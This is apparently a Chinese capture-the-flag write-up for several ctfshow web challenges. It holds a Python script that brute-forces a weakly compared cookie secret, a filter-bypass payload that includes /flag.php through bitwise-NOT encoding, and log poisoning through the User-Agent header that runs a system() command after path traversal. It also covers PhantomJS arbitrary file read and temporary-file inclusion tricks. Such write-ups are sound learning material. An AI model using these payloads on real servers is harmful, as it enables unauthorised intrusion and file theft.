目录
给你shell
WEB_RemoteImageDownloader
ALL_INFO_U_WANT
WUSTCTF_朴实无华_Revenge
Login_Only_For_36D
你取吧
WUSTCTF_朴实无华_Revenge_Revenge
你没见过的注入
给你shell
提示:0006464640064064646464006406464064640064006400000000000
function haveFun($_f_g) { $_g_r = 32; $_m_u = md5($_f_g); $_h_p = strtoupper($_m_u); for ($i = 0; $i < $_g_r; $i++) { $_i = substr($_h_p, $i, 1); $_i = ord($_i); print_r($_i & 0xC0); } die; }
- 根据代码得知,haveFun()函数的逻辑是将数字全部变为0,字母位64。(实验后就会发现)
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
将$flag_md5与我们传入的secret进行比较,根据返回结果,前面3位都是0,即前面3个都是数字,在由php是弱语言,这里进行的是弱比较,换句话说,secret在100~999之间。
import requests url = 'https://86b8442f-7f60-4060-849b-b239c3234857.challenge.ctf.show/?give_me_shell' i = 100 while True: cookie = { 'PHPSESSID': 'c2jdlheiu8udsu06gfgqruvf0v', 'secret': '{"secret":' + str(i) + '}' } r = requests.get(url, cookies=cookie) if '0006464640064064' not in r.text: print(r.text) print(i) break i += 1
secret=115
here is your webshell: w3b5HeLLlll123.php
得到一个文件,访问:
location.href=\'./index.php\''); if (!isset($_GET['code'])) { show_source(__FILE__); exit(); } else { $code = $_GET['code']; if (!preg_match($secret_waf, $code)) { //清空session 从头再来 eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker } else die('hacker'); } /* * When you feel that you are lost, do not give up, fight and move on. * Being a hacker is not easy, it requires effort and sacrifice. * But remember … we are legion! * ————Deep CTF 2020 */
测了部分fuzz(不全,参考):
非法字符:['flag', 'system', 'exec', '`', 'filter', 'include', 'include_once', 'shell_exec', 'curl_exec', 'curl_multi_exec', 'parse_ini_file', 'highlight_file', 'phpinfo', 'highlight_file', '^', '$', '*', '+', '\\', '|', '(', ')', ';'] 合法字符:['passthru', 'eval', 'php', 'require', 'require_once', 'proc_open', 'popen', 'show_source', 'assert', 'assert_options', 'show_source', 'assert', 'assert_options', 'show_source', 'assert', 'assert_options', 'highlight', '.', '?', '{', '}', '[', ']', '<', '>', '!', '=']
- 经过测试,由于()被过滤,不能用passthru函数等来执行命令,且`被过滤,也不能用`command`来执行。使用这里用段标签来闭合执行php命令。首先闭合前面$_SESSION[,然后给他赋值。
- 因为空格被过滤,那么
- 又因为flag被过滤,使用用取反来绕过。
=urlencode(~"/flag.php");
- 最后闭合标签。
?code=]=1?>=require_once~%D0%99%93%9E%98?>
WEB_RemoteImageDownloader
CVE-2019-17221、PhantomJS任意文件读取
将代码放入自己的服务器上,然后用php或者python开始一个web服务,让靶机访问即可。
ALL_INFO_U_WANT
通过目录扫描,发现index.php.bak ,下载:
visit all_info_u_want.php and you will get all information you want = =Thinking that it may be difficult, i decided to show you the source code: really really really baby challenge right?
然后访问:
all_info_u_want.php?all_info_i_want
open_basedir没有设置,换句话,可以进行目录穿越,访问日志文件:
?file=../../../../..//var/log/nginx/access.log
在User Agent中包含我们的恶意代码。
发现flag,但访问后flag不对。
那么我们对,换一句话木马,然后对文件内容进行过滤,找出文件中包含ctfshow{的内容:
User Agent: post: 1=system('find /etc -name "*" | xargs grep "ctfshow{"');
-
xargs: 用于将前一个命令的输出作为后一个命令的参数。
session条件竞争这里用不了,
session.upload_progress.enabled Off ,可通过phpinfo可以看到。
pearcmd.php也不行,爆ERROR: either use the CLI php executable, or set register_argc_argv=On in php.ini。看了配置文件发现:
register_argc_argv Off ?+config-create+/&file=../../../../..//usr/local/lib/php/pearcmd.php&/+/tmp/hello.php
通过别人的wp,发现还可以包含临时文件,phpinfo与条件竞争进行getshell。
p神文章:Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)
PHP会在脚本执行结束后删掉临时文件,而 段错误方法就是让PHP执行突然中止,这样临时文件就保留了。
既然 " PHP会在 脚本执行结束后删掉临时文件 ", 不让PHP的脚本执行结束,这样不就行了嘛?,只要自身包含自身就会进入死循环中。 死循环 要么被用户打断,要么被nginx超时掉,PHP 执行没有结束,临时文件不就 得以保存了吗?
这个自己包含自己,总是进入自己哪里就是死循环了。我们访问all_info_u_want.php,然后include 又是all_info_u_want.php,然后就进入了死循环了。
index.html:
-